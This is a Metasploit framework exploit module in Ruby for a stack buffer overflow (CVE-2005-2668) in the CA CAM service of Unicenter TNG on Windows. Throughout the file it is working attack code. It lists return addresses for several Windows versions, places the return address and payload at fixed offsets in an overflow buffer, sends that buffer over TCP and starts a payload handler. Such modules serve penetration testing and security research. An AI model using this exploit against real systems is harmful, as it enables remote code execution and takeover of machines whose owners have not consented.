1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
16
        'Description' => %q{
17
          This module exploits a vulnerability in the CA CAM service
18
          by passing a long parameter to the log_security() function.
19
          The CAM service is part of TNG Unicenter. This module has
20
          been tested on Unicenter v3.1.
21
        },
22
        'Author' => [ 'hdm' ],
23
        'License' => MSF_LICENSE,
24
        'References' => [
25
          ['CVE', '2005-2668'],
26
          ['OSVDB', '18916'],
27
          ['BID', '14622'],
28
        ],
29
        'Privileged' => true,
30
        'Payload' => {
31
          'Space' => 1024,
32
          'BadChars' => "\x00",
33
          'StackAdjustment' => -3500,
34
        },
35
        'Platform' => %w{win},
36
        'Targets' => [
37
          # W2API.DLL @ 0x01950000 - return to ESI
38
          ['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],
39

40
          # Return to ESI in ws2help.dll
41
          ['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
42
          ['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
43
          ['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
44
          ['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
45
        ],
46
        'DisclosureDate' => '2005-08-22',
47
        'DefaultTarget' => 0,
48
        'Notes' => {
49
          'Reliability' => UNKNOWN_RELIABILITY,
50
          'Stability' => UNKNOWN_STABILITY,
51
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
        }
53
      )
54
    )
55
  end
56

57
  def check
58
    connect
59
    ack = sock.get_once || ''
60
    disconnect
61

62
    (ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
63
  end
64

65
  def exploit
66
    connect
67

68
    ack = sock.get_once
69
    if (ack != "ACK\x00")
70
      print_status("The CAM service is not responding")
71
    end
72

73
    buf = rand_text_english(4096, payload_badchars)
74

75
    # Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
76
    buf[1016, 4] = [target.ret].pack('V')
77
    buf[1052, payload.encoded.length] = payload.encoded
78

79
    sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
80

81
    handler
82
    disconnect
83
  end
84
end
85

86